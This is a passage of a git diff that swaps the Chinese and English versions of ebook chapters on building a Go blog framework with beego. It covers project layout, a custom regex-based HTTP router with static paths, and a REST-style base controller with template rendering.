数据库处理模块 + |——utils 辅助函数库 + |——static 静态文件目录 + |——views 视图库 + +## 框架设计 +为了实现博客的快速搭建,打算基于上面的流程设计开发一个最小化的框架,框架包括路由功能、支持REST的控制器、自动化的模板渲染,日志系统、配置管理等。 + +## 总结 +本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息,也简单介绍了框架结构采用的MVC模式,博客系统中数据流的执行流程,最后通过这些流程设计了博客系统的目录结构,至此,我们基本完成一个框架的搭建,接下来的几个小节我们将会逐个实现。 +## links + * [目录]() + * 上一章: [构建博客系统](<13.0.md>) + * 下一节: [自定义路由器设计](<13.2.md>) diff --git a/en/13.2.md b/en/13.2.md index 4a75d31e..71943bd1 100644 --- a/en/13.2.md +++ b/en/13.2.md @@ -1,264 +1,270 @@ -# 13.2 自定义路由器设计 - -## HTTP路由 -HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括: - -- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11) -- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等) - -路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。 -## 默认的路由实现 -在3.4小节有过介绍Go的http包的详解,里面介绍了Go的http包如何设计和实现路由,这里继续以一个例子来说明: - - func fooHandler(w http.ResponseWriter, r *http.Request) { - fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) - } - - http.HandleFunc("/foo", fooHandler) - - http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { - fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) - }) - - log.Fatal(http.ListenAndServe(":8080", nil)) - -上面的例子调用了http默认的DefaultServeMux来添加路由,需要提供两个参数,第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点: - -- 添加路由信息 -- 根据用户请求转发到要执行的函数 - -Go默认的路由添加是通过函数`http.Handle`和`http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。 - -Go监听端口,然后接收到tcp连接会扔给Handler来处理,上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度,遍历之前存储的map路由信息,和用户访问的URL进行匹配,以查询对应注册的处理函数,这样就实现了上面所说的第二点。 - - for k, v := range mux.m { - if !pathMatch(k, path) { - continue - } - if h == nil || len(k) > n { - n = len(k) - h = v.h - } - } - - -## beego框架路由实现 -目前几乎所有的Web应用路由实现都是基于http默认的路由器,但是Go自带的路由器有几个限制: - -- 不支持参数设定,例如/user/:uid 这种泛类型匹配 -- 无法很好的支持REST模式,无法限制访问的方法,例如上面的例子中,用户访问/foo,可以用GET、POST、DELETE、HEAD等方式访问 -- 一般网站的路由规则太多了,编写繁琐。我前面自己开发了一个API应用,路由规则有三十几条,这种路由多了之后其实可以进一步简化,通过struct的方法进行一种简化 - -beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现,路由设计也是基于上面Go默认设计的两点来考虑:存储路由和转发路由 - -### 存储路由 -针对前面所说的限制点,我们首先要解决参数支持就需要用到正则,第二和第三点我们通过一种变通的方法来解决,REST的方法对应到struct的方法中去,然后路由到struct而不是函数,这样在转发路由的时候就可以根据method来执行不同的方法。 - -根据上面的思路,我们设计了两个数据类型controllerInfo(保存路径和对应的struct,这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息,以及beego框架的应用信息) - - type controllerInfo struct { - regex *regexp.Regexp - params map[int]string - controllerType reflect.Type - } - - type ControllerRegistor struct { - routers []*controllerInfo - Application *App - } - - -ControllerRegistor对外的接口函数有 - - func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) - -详细的实现如下所示: - - func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { - parts := strings.Split(pattern, "/") - - j := 0 - params := make(map[int]string) - for i, part := range parts { - if strings.HasPrefix(part, ":") { - expr := "([^/]+)" - - //a user may choose to override the defult expression - // similar to expressjs: ‘/user/:id([0-9]+)’ - - if index := strings.Index(part, "("); index != -1 { - expr = part[index:] - part = part[:index] - } - params[j] = part - parts[i] = expr - j++ - } - } - - //recreate the url pattern, with parameters replaced - //by regular expressions. then compile the regex - - pattern = strings.Join(parts, "/") - regex, regexErr := regexp.Compile(pattern) - if regexErr != nil { - - //TODO add error handling here to avoid panic - panic(regexErr) - return - } - - //now create the Route - t := reflect.Indirect(reflect.ValueOf(c)).Type() - route := &controllerInfo{} - route.regex = regex - route.params = params - route.controllerType = t - - p.routers = append(p.routers, route) - - } - -### 静态路由实现 -上面我们实现的动态路由的实现,Go的http包默认支持静态文件处理FileServer,由于我们实现了自定义的路由器,那么静态文件也需要自己设定,beego的静态文件夹路径保存在全局变量StaticDir中,StaticDir是一个map类型,实现如下: - - func (app *App) SetStaticPath(url string, path string) *App { - StaticDir[url] = path - return app - } - -应用中设置静态路径可以使用如下方式实现: - - beego.SetStaticPath("/img","/static/img") - - -### 转发路由 -转发路由是基于ControllerRegistor里的路由信息来进行转发的,详细的实现如下代码所示: - - // AutoRoute - func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { - defer func() { - if err := recover(); err != nil { - if !RecoverPanic { - // go back to panic - panic(err) - } else { - Critical("Handler crashed with error", err) - for i := 1; ; i += 1 { - _, file, line, ok := runtime.Caller(i) - if !ok { - break - } - Critical(file, line) - } - } - } - }() - var started bool - for prefix, staticDir := range StaticDir { - if strings.HasPrefix(r.URL.Path, prefix) { - file := staticDir + r.URL.Path[len(prefix):] - http.ServeFile(w, r, file) - started = true - return - } - } - requestPath := r.URL.Path - - //find a matching Route - for _, route := range p.routers { - - //check if Route pattern matches url - if !route.regex.MatchString(requestPath) { - continue - } - - //get submatches (params) - matches := route.regex.FindStringSubmatch(requestPath) - - //double check that the Route matches the URL pattern. - if len(matches[0]) != len(requestPath) { - continue - } - - params := make(map[string]string) - if len(route.params) > 0 { - //add url parameters to the query param map - values := r.URL.Query() - for i, match := range matches[1:] { - values.Add(route.params[i], match) - params[route.params[i]] = match - } - - //reassemble query params and add to RawQuery - r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery - //r.URL.RawQuery = url.Values(values).Encode() - } - //Invoke the request handler - vc := reflect.New(route.controllerType) - init := vc.MethodByName("Init") - in := make([]reflect.Value, 2) - ct := &Context{ResponseWriter: w, Request: r, Params: params} - in[0] = reflect.ValueOf(ct) - in[1] = reflect.ValueOf(route.controllerType.Name()) - init.Call(in) - in = make([]reflect.Value, 0) - method := vc.MethodByName("Prepare") - method.Call(in) - if r.Method == "GET" { - method = vc.MethodByName("Get") - method.Call(in) - } else if r.Method == "POST" { - method = vc.MethodByName("Post") - method.Call(in) - } else if r.Method == "HEAD" { - method = vc.MethodByName("Head") - method.Call(in) - } else if r.Method == "DELETE" { - method = vc.MethodByName("Delete") - method.Call(in) - } else if r.Method == "PUT" { - method = vc.MethodByName("Put") - method.Call(in) - } else if r.Method == "PATCH" { - method = vc.MethodByName("Patch") - method.Call(in) - } else if r.Method == "OPTIONS" { - method = vc.MethodByName("Options") - method.Call(in) - } - if AutoRender { - method = vc.MethodByName("Render") - method.Call(in) - } - method = vc.MethodByName("Finish") - method.Call(in) - started = true - break - } - - //if no matches to url, throw a not found exception - if started == false { - http.NotFound(w, r) - } - } - -### 使用入门 -基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示: - -基本的使用注册路由: - - beego.BeeApp.RegisterController("/", &controllers.MainController{}) - -参数注册: - - beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) - -正则匹配: - - beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) - -## links - * [目录]() - * 上一章: [项目规划](<13.1.md>) - * 下一节: [controller设计](<13.3.md>) +# 13.2 Customized routers + +## HTTP routing + +HTTP HTTP request routing components corresponding function handed process( or a struct method ), as described in the previous section structure, in the frame corresponds to a routing event handler, and the event comprises: + +- User requests a path(path)( e.g.:/user/123,/article/123), of course, the query string information(e.g., ? Id = 11) +- HTTP request method(method)(GET, POST, PUT, DELETE, PATCH, etc. ) + +The router is based on the user's request is forwarded to the respective event information processing function( control layer ). + +## Default route to achieve + +Have been introduced in section 3.4 Go's http package Detailed, which introduced the Go's http package how to design and implement routing, here continue to be an example to illustrate: + + func fooHandler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + } + + http.Handle("/foo", fooHandler) + + http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + }) + + log.Fatal(http.ListenAndServe(":8080", nil)) + +The above example calls the http default DefaultServeMux to add a route, you need to provide two parameters, the first parameter is the resource you want users to access the URL path( stored in r.URL.Path), the second argument is about to be executed function to provide the user access to resources. Routing focused mainly on two ideas: + +- Add routing information +- According to the user request is forwarded to the function to be performed + +Go add default route is through a function `http.Handle` and `http.HandleFunc`, etc. to add, the bottom is called `DefaultServeMux.Handle(pattern string, handler Handler)`, this function will set the routing information is stored in a map information in `map [string] muxEntry`, which would address the above said first point. + +Go listening port, and then receives the tcp connection thrown Handler to process, the above example is the default nil `http.DefaultServeMux`, `DefaultServeMux.ServeHTTP` by the scheduling function, the previously stored map traverse route information, and the user URL accessed matching to check the corresponding registered handler, so to achieve the above mentioned second point. + + for k, v := range mux.m { + if !pathMatch(k, path) { + continue + } + if h == nil || len(k) > n { + n = len(k) + h = v.h + } + } + +## Beego routing framework to achieve + +Almost all Web applications are based routing to achieve http default router, but the router comes Go has several limitations: + +- Does not support parameter setting, such as/user/: uid This pan type matching +- Not very good support for REST mode, you can not restrict access methods, such as the above example, user access/foo, you can use GET, POST, DELETE, HEAD, etc. Access +- General site routing rules too much, write cumbersome. I'm in front of an API to develop their own applications, routing rules have thirty several, in fact, this route after more than can be further simplified by a simplified method of the struct + +beego framework routers based on the above few limitations to consider the design of a REST approach to achieve routing, routing design is based on two points above the default design Go to consider: store -and-forward routing routing + +### Storing a routing + +For the previously mentioned restriction point, we must first solve the arguments supporting the need to use regular, second and third point we passed a viable alternative to solve, REST method corresponds to a struct method to go, and then routed to the struct instead of a function, so that when the forward routing method can be performed according to different methods. + +Based on the above ideas, we designed two data types controllerInfo( save path and the corresponding struct, here is a reflect.Type type ) and ControllerRegistor(routers are used to save user to add a slice of routing information, and the application of the framework beego information ) + + type controllerInfo struct { + regex *regexp.Regexp + params map[int]string + controllerType reflect.Type + } + + type ControllerRegistor struct { + routers []*controllerInfo + Application *App + } + +ControllerRegistor external interface function has + + func(p *ControllerRegistor) Add(pattern string, c ControllerInterface) + +Detailed implementation is as follows: + + func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { + parts := strings.Split(pattern, "/") + + j := 0 + params := make(map[int]string) + for i, part := range parts { + if strings.HasPrefix(part, ":") { + expr := "([^/]+)" + + //a user may choose to override the defult expression + // similar to expressjs: ‘/user/:id([0-9]+)’ + + if index := strings.Index(part, "("); index != -1 { + expr = part[index:] + part = part[:index] + } + params[j] = part + parts[i] = expr + j++ + } + } + + //recreate the url pattern, with parameters replaced + //by regular expressions. then compile the regex + + pattern = strings.Join(parts, "/") + regex, regexErr := regexp.Compile(pattern) + if regexErr != nil { + + //TODO add error handling here to avoid panic + panic(regexErr) + return + } + + //now create the Route + t := reflect.Indirect(reflect.ValueOf(c)).Type() + route := &controllerInfo{} + route.regex = regex + route.params = params + route.controllerType = t + + p.routers = append(p.routers, route) + + } + +### Static routing + +Above we achieve the realization of dynamic routing, Go the http package supported by default static file handler FileServer, because we have implemented a custom router, then the static files also need to set their own, beego static folder path stored in the global variable StaticDir, StaticDir is a map type to achieve the following: + + func (app *App) SetStaticPath(url string, path string) *App { + StaticDir[url] = path + return app + } + +Applications can use the static route is set to achieve the following manner: + + beego.SetStaticPath("/img", "/static/img") + +### Forwarding route + +Forwarding route in the routing is based ControllerRegistor forwarding information, detailed achieve the following code shows: + + // AutoRoute + func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + if !RecoverPanic { + // go back to panic + panic(err) + } else { + Critical("Handler crashed with error", err) + for i := 1; ; i += 1 { + _, file, line, ok := runtime.Caller(i) + if !ok { + break + } + Critical(file, line) + } + } + } + }() + var started bool + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + started = true + return + } + } + requestPath := r.URL.Path + + //find a matching Route + for _, route := range p.routers { + + //check if Route pattern matches url + if !route.regex.MatchString(requestPath) { + continue + } + + //get submatches (params) + matches := route.regex.FindStringSubmatch(requestPath) + + //double check that the Route matches the URL pattern. + if len(matches[0]) != len(requestPath) { + continue + } + + params := make(map[string]string) + if len(route.params) > 0 { + //add url parameters to the query param map + values := r.URL.Query() + for i, match := range matches[1:] { + values.Add(route.params[i], match) + params[route.params[i]] = match + } + + //reassemble query params and add to RawQuery + r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery + //r.URL.RawQuery = url.Values(values).Encode() + } + //Invoke the request handler + vc := reflect.New(route.controllerType) + init := vc.MethodByName("Init") + in := make([]reflect.Value, 2) + ct := &Context{ResponseWriter: w, Request: r, Params: params} + in[0] = reflect.ValueOf(ct) + in[1] = reflect.ValueOf(route.controllerType.Name()) + init.Call(in) + in = make([]reflect.Value, 0) + method := vc.MethodByName("Prepare") + method.Call(in) + if r.Method == "GET" { + method = vc.MethodByName("Get") + method.Call(in) + } else if r.Method == "POST" { + method = vc.MethodByName("Post") + method.Call(in) + } else if r.Method == "HEAD" { + method = vc.MethodByName("Head") + method.Call(in) + } else if r.Method == "DELETE" { + method = vc.MethodByName("Delete") + method.Call(in) + } else if r.Method == "PUT" { + method = vc.MethodByName("Put") + method.Call(in) + } else if r.Method == "PATCH" { + method = vc.MethodByName("Patch") + method.Call(in) + } else if r.Method == "OPTIONS" { + method = vc.MethodByName("Options") + method.Call(in) + } + if AutoRender { + method = vc.MethodByName("Render") + method.Call(in) + } + method = vc.MethodByName("Finish") + method.Call(in) + started = true + break + } + + //if no matches to url, throw a not found exception + if started == false { + http.NotFound(w, r) + } + } + +### Getting started + +After the design is based on the routing can solve the previously mentioned three restriction point, using a method as follows: + +The basic use of a registered route: + + beego.BeeApp.RegisterController("/", &controllers.MainController{}) + +Parameter registration: + + beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) + +Are then matched: + + beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) + +## Links + +- [Directory](preface.md) +- Previous section: [Project program](13.1.md) +- Next section: [Design controllers](13.3.md) diff --git a/en/eBook/13.2.md b/en/13.2.md~380a8ee74c41759d8189ad553423467994187253 similarity index 51% rename from en/eBook/13.2.md rename to en/13.2.md~380a8ee74c41759d8189ad553423467994187253 index 71943bd1..069f3af8 100644 --- a/en/eBook/13.2.md +++ b/en/13.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -1,23 +1,20 @@ -# 13.2 Customized routers +# 13.2 自定义路由器设计 -## HTTP routing +## HTTP路由 +HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括: -HTTP HTTP request routing components corresponding function handed process( or a struct method ), as described in the previous section structure, in the frame corresponds to a routing event handler, and the event comprises: +- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11) +- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等) -- User requests a path(path)( e.g.:/user/123,/article/123), of course, the query string information(e.g., ? Id = 11) -- HTTP request method(method)(GET, POST, PUT, DELETE, PATCH, etc. ) - -The router is based on the user's request is forwarded to the respective event information processing function( control layer ). - -## Default route to achieve - -Have been introduced in section 3.4 Go's http package Detailed, which introduced the Go's http package how to design and implement routing, here continue to be an example to illustrate: +路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。 +## 默认的路由实现 +在3.4小节有过介绍Go的http包的详解,里面介绍了Go的http包如何设计和实现路由,这里继续以一个例子来说明: func fooHandler(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) } - http.Handle("/foo", fooHandler) + http.HandleFunc("/foo", fooHandler) http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) @@ -25,14 +22,14 @@ Have been introduced in section 3.4 Go's http package Detailed, which introduced log.Fatal(http.ListenAndServe(":8080", nil)) -The above example calls the http default DefaultServeMux to add a route, you need to provide two parameters, the first parameter is the resource you want users to access the URL path( stored in r.URL.Path), the second argument is about to be executed function to provide the user access to resources. Routing focused mainly on two ideas: +上面的例子调用了http默认的DefaultServeMux来添加路由,需要提供两个参数,第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点: -- Add routing information -- According to the user request is forwarded to the function to be performed +- 添加路由信息 +- 根据用户请求转发到要执行的函数 -Go add default route is through a function `http.Handle` and `http.HandleFunc`, etc. to add, the bottom is called `DefaultServeMux.Handle(pattern string, handler Handler)`, this function will set the routing information is stored in a map information in `map [string] muxEntry`, which would address the above said first point. +Go默认的路由添加是通过函数`http.Handle`和`http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。 -Go listening port, and then receives the tcp connection thrown Handler to process, the above example is the default nil `http.DefaultServeMux`, `DefaultServeMux.ServeHTTP` by the scheduling function, the previously stored map traverse route information, and the user URL accessed matching to check the corresponding registered handler, so to achieve the above mentioned second point. +Go监听端口,然后接收到tcp连接会扔给Handler来处理,上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度,遍历之前存储的map路由信息,和用户访问的URL进行匹配,以查询对应注册的处理函数,这样就实现了上面所说的第二点。 for k, v := range mux.m { if !pathMatch(k, path) { @@ -44,21 +41,20 @@ Go listening port, and then receives the tcp connection thrown Handler to proces } } -## Beego routing framework to achieve -Almost all Web applications are based routing to achieve http default router, but the router comes Go has several limitations: +## beego框架路由实现 +目前几乎所有的Web应用路由实现都是基于http默认的路由器,但是Go自带的路由器有几个限制: -- Does not support parameter setting, such as/user/: uid This pan type matching -- Not very good support for REST mode, you can not restrict access methods, such as the above example, user access/foo, you can use GET, POST, DELETE, HEAD, etc. Access -- General site routing rules too much, write cumbersome. I'm in front of an API to develop their own applications, routing rules have thirty several, in fact, this route after more than can be further simplified by a simplified method of the struct +- 不支持参数设定,例如/user/:uid 这种泛类型匹配 +- 无法很好的支持REST模式,无法限制访问的方法,例如上面的例子中,用户访问/foo,可以用GET、POST、DELETE、HEAD等方式访问 +- 一般网站的路由规则太多了,编写繁琐。我前面自己开发了一个API应用,路由规则有三十几条,这种路由多了之后其实可以进一步简化,通过struct的方法进行一种简化 -beego framework routers based on the above few limitations to consider the design of a REST approach to achieve routing, routing design is based on two points above the default design Go to consider: store -and-forward routing routing +beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现,路由设计也是基于上面Go默认设计的两点来考虑:存储路由和转发路由 -### Storing a routing +### 存储路由 +针对前面所说的限制点,我们首先要解决参数支持就需要用到正则,第二和第三点我们通过一种变通的方法来解决,REST的方法对应到struct的方法中去,然后路由到struct而不是函数,这样在转发路由的时候就可以根据method来执行不同的方法。 -For the previously mentioned restriction point, we must first solve the arguments supporting the need to use regular, second and third point we passed a viable alternative to solve, REST method corresponds to a struct method to go, and then routed to the struct instead of a function, so that when the forward routing method can be performed according to different methods. - -Based on the above ideas, we designed two data types controllerInfo( save path and the corresponding struct, here is a reflect.Type type ) and ControllerRegistor(routers are used to save user to add a slice of routing information, and the application of the framework beego information ) +根据上面的思路,我们设计了两个数据类型controllerInfo(保存路径和对应的struct,这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息,以及beego框架的应用信息) type controllerInfo struct { regex *regexp.Regexp @@ -70,12 +66,13 @@ Based on the above ideas, we designed two data types controllerInfo( save path a routers []*controllerInfo Application *App } + -ControllerRegistor external interface function has +ControllerRegistor对外的接口函数有 - func(p *ControllerRegistor) Add(pattern string, c ControllerInterface) + func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) -Detailed implementation is as follows: +详细的实现如下所示: func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { parts := strings.Split(pattern, "/") @@ -122,22 +119,21 @@ Detailed implementation is as follows: } -### Static routing - -Above we achieve the realization of dynamic routing, Go the http package supported by default static file handler FileServer, because we have implemented a custom router, then the static files also need to set their own, beego static folder path stored in the global variable StaticDir, StaticDir is a map type to achieve the following: +### 静态路由实现 +上面我们实现的动态路由的实现,Go的http包默认支持静态文件处理FileServer,由于我们实现了自定义的路由器,那么静态文件也需要自己设定,beego的静态文件夹路径保存在全局变量StaticDir中,StaticDir是一个map类型,实现如下: func (app *App) SetStaticPath(url string, path string) *App { StaticDir[url] = path return app } -Applications can use the static route is set to achieve the following manner: +应用中设置静态路径可以使用如下方式实现: - beego.SetStaticPath("/img", "/static/img") + beego.SetStaticPath("/img","/static/img") + -### Forwarding route - -Forwarding route in the routing is based ControllerRegistor forwarding information, detailed achieve the following code shows: +### 转发路由 +转发路由是基于ControllerRegistor里的路由信息来进行转发的,详细的实现如下代码所示: // AutoRoute func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { @@ -247,24 +243,22 @@ Forwarding route in the routing is based ControllerRegistor forwarding informati } } -### Getting started +### 使用入门 +基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示: -After the design is based on the routing can solve the previously mentioned three restriction point, using a method as follows: - -The basic use of a registered route: +基本的使用注册路由: beego.BeeApp.RegisterController("/", &controllers.MainController{}) - -Parameter registration: + +参数注册: beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) - -Are then matched: + +正则匹配: beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) -## Links - -- [Directory](preface.md) -- Previous section: [Project program](13.1.md) -- Next section: [Design controllers](13.3.md) +## links + * [目录]() + * 上一章: [项目规划](<13.1.md>) + * 下一节: [controller设计](<13.3.md>) diff --git a/en/13.3.md b/en/13.3.md index 68f92de4..f99f969d 100644 --- a/en/13.3.md +++ b/en/13.3.md @@ -1,163 +1,168 @@ -# 13.3 controller设计 - -传统的MVC框架大多数是基于Action设计的后缀式映射,然而,现在Web流行REST风格的架构。尽管使用Filter或者rewrite能够通过URL重写实现REST风格的URL,但是为什么不直接设计一个全新的REST风格的 MVC框架呢?本小节就是基于这种思路来讲述如何从头设计一个基于REST风格的MVC框架中的controller,最大限度地简化Web应用的开发,甚至编写一行代码就可以实现“Hello, world”。 - -## controller作用 -MVC设计模式是目前Web应用开发中最常见的架构模式,通过分离 Model(模型)、View(视图)和 Controller(控制器),可以更容易实现易于扩展的用户界面(UI)。Model指后台返回的数据;View指需要渲染的页面,通常是模板页面,渲染后的内容通常是HTML;Controller指Web开发人员编写的处理不同URL的控制器,如前面小节讲述的路由就是URL请求转发到控制器的过程,controller在整个的MVC框架中起到了一个核心的作用,负责处理业务逻辑,因此控制器是整个框架中必不可少的一部分,Model和View对于有些业务需求是可以不写的,例如没有数据处理的逻辑处理,没有页面输出的302调整之类的就不需要Model和View,但是controller这一环节是必不可少的。 - -## beego的REST设计 -前面小节介绍了路由实现了注册struct的功能,而struct中实现了REST方式,因此我们需要设计一个用于逻辑处理controller的基类,这里主要设计了两个类型,一个struct、一个interface - - type Controller struct { - Ct *Context - Tpl *template.Template - Data map[interface{}]interface{} - ChildName string - TplNames string - Layout []string - TplExt string - } - - type ControllerInterface interface { - Init(ct *Context, cn string) //初始化上下文和子类名称 - Prepare() //开始执行之前的一些处理 - Get() //method=GET的处理 - Post() //method=POST的处理 - Delete() //method=DELETE的处理 - Put() //method=PUT的处理 - Head() //method=HEAD的处理 - Patch() //method=PATCH的处理 - Options() //method=OPTIONS的处理 - Finish() //执行完成之后的处理 - Render() error //执行完method对应的方法之后渲染页面 - } - -那么前面介绍的路由add函数的时候是定义了ControllerInterface类型,因此,只要我们实现这个接口就可以,所以我们的基类Controller实现如下的方法: - - func (c *Controller) Init(ct *Context, cn string) { - c.Data = make(map[interface{}]interface{}) - c.Layout = make([]string, 0) - c.TplNames = "" - c.ChildName = cn - c.Ct = ct - c.TplExt = "tpl" - } - - func (c *Controller) Prepare() { - - } - - func (c *Controller) Finish() { - - } - - func (c *Controller) Get() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Post() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Delete() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Put() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Head() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Patch() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Options() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } - - func (c *Controller) Render() error { - if len(c.Layout) > 0 { - var filenames []string - for _, file := range c.Layout { - filenames = append(filenames, path.Join(ViewsPath, file)) - } - t, err := template.ParseFiles(filenames...) - if err != nil { - Trace("template ParseFiles err:", err) - } - err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) - if err != nil { - Trace("template Execute err:", err) - } - } else { - if c.TplNames == "" { - c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt - } - t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) - if err != nil { - Trace("template ParseFiles err:", err) - } - err = t.Execute(c.Ct.ResponseWriter, c.Data) - if err != nil { - Trace("template Execute err:", err) - } - } - return nil - } - - func (c *Controller) Redirect(url string, code int) { - c.Ct.Redirect(code, url) - } - -上面的controller基类已经实现了接口定义的函数,通过路由根据url执行相应的controller的原则,会依次执行如下: - - Init() 初始化 - Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数 - method() 根据不同的method执行不同的函数:GET、POST、PUT、HEAD等,子类来实现这些函数,如果没实现,那么默认都是403 - Render() 可选,根据全局变量AutoRender来判断是否执行 - Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数 - -## 应用指南 -上面beego框架中完成了controller基类的设计,那么我们在我们的应用中可以这样来设计我们的方法: - - package controllers - - import ( - "github.com/astaxie/beego" - ) - - type MainController struct { - beego.Controller - } - - func (this *MainController) Get() { - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.TplNames = "index.tpl" - } - -上面的方式我们实现了子类MainController,实现了Get方法,那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回403,而如果是Get来访问,因为我们设置了AutoRender=true,那么在执行完Get方法之后会自动执行Render函数,就会显示如下界面: - -![](images/13.4.beego.png?raw=true) - -index.tpl的代码如下所示,我们可以看到数据的设置和显示都是相当的简单方便: - - - - - beego welcome template - - -

Hello, world!{{.Username}},{{.Email}}

- - - - -## links - * [目录]() - * 上一章: [自定义路由器设计](<13.2.md>) - * 下一节: [日志和配置设计](<13.4.md>) +# 13.3 Design controllers + +Most of the traditional MVC framework is based on the design of postfix Action mapping, however, is now popular REST-style Web architecture. Although the use of Filter or rewrite URL rewriting can be achieved through a REST-style URL, but why not just design a new REST-style MVC framework it ? This section is based on this idea on how to start from scratch to design a REST-style MVC framework based on the controller, to maximize simplify Web application development, or even write a single line of code to achieve the "Hello, world". + +## Controller role + +MVC design pattern is the most common Web application development framework model, by separating Model( model ), View( view ) and the Controller( controller ) can be more easily achieved easily extensible user interface(UI). Model refers to the background data returned ; View refers to the need to render the page, usually a template page, the content is usually rendered HTML; Controller refers to Web developers to write controllers handle different URL, such as the route described in the previous section is a URL request forwarded to the process controller, controller in the whole MVC framework plays a central role, responsible for handling business logic, so the controller is an essential part of the whole framework, Model and View for some business needs can not write, for example, no data processing logic processing, no page output 302 and the like do not need to adjust the Model and View, but the controller of this part is essential. + +## Beego the REST design + +Previous section describes the routing function to achieve a registered struct, and the struct implements REST approach, so we need to design a controller for logic processing base class, where the main design of the two types, a struct, an interface + + type Controller struct { + Ct *Context + Tpl *template.Template + Data map[interface{}]interface{} + ChildName string + TplNames string + Layout []string + TplExt string + } + + type ControllerInterface interface { + Init(ct *Context, cn string) //Initialize the context and subclass name + Prepare() //some processing before execution begins + Get() //method = GET processing + Post() //method = POST processing + Delete() //method = DELETE processing + Put() //method = PUT handling + Head() //method = HEAD processing + Patch() //method = PATCH treatment + Options() //method = OPTIONS processing + Finish() //executed after completion of treatment + Render() error //method executed after the corresponding method to render the page + } + +Then add function described earlier, when a route is defined ControllerInterface type, so long as we can implement this interface, so our base class Controller to achieve the following methods: + + func (c *Controller) Init(ct *Context, cn string) { + c.Data = make(map[interface{}]interface{}) + c.Layout = make([]string, 0) + c.TplNames = "" + c.ChildName = cn + c.Ct = ct + c.TplExt = "tpl" + } + + func (c *Controller) Prepare() { + + } + + func (c *Controller) Finish() { + + } + + func (c *Controller) Get() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) + } + + func (c *Controller) Post() { + http.Error(c.Ct.ResponseWriter, "Method 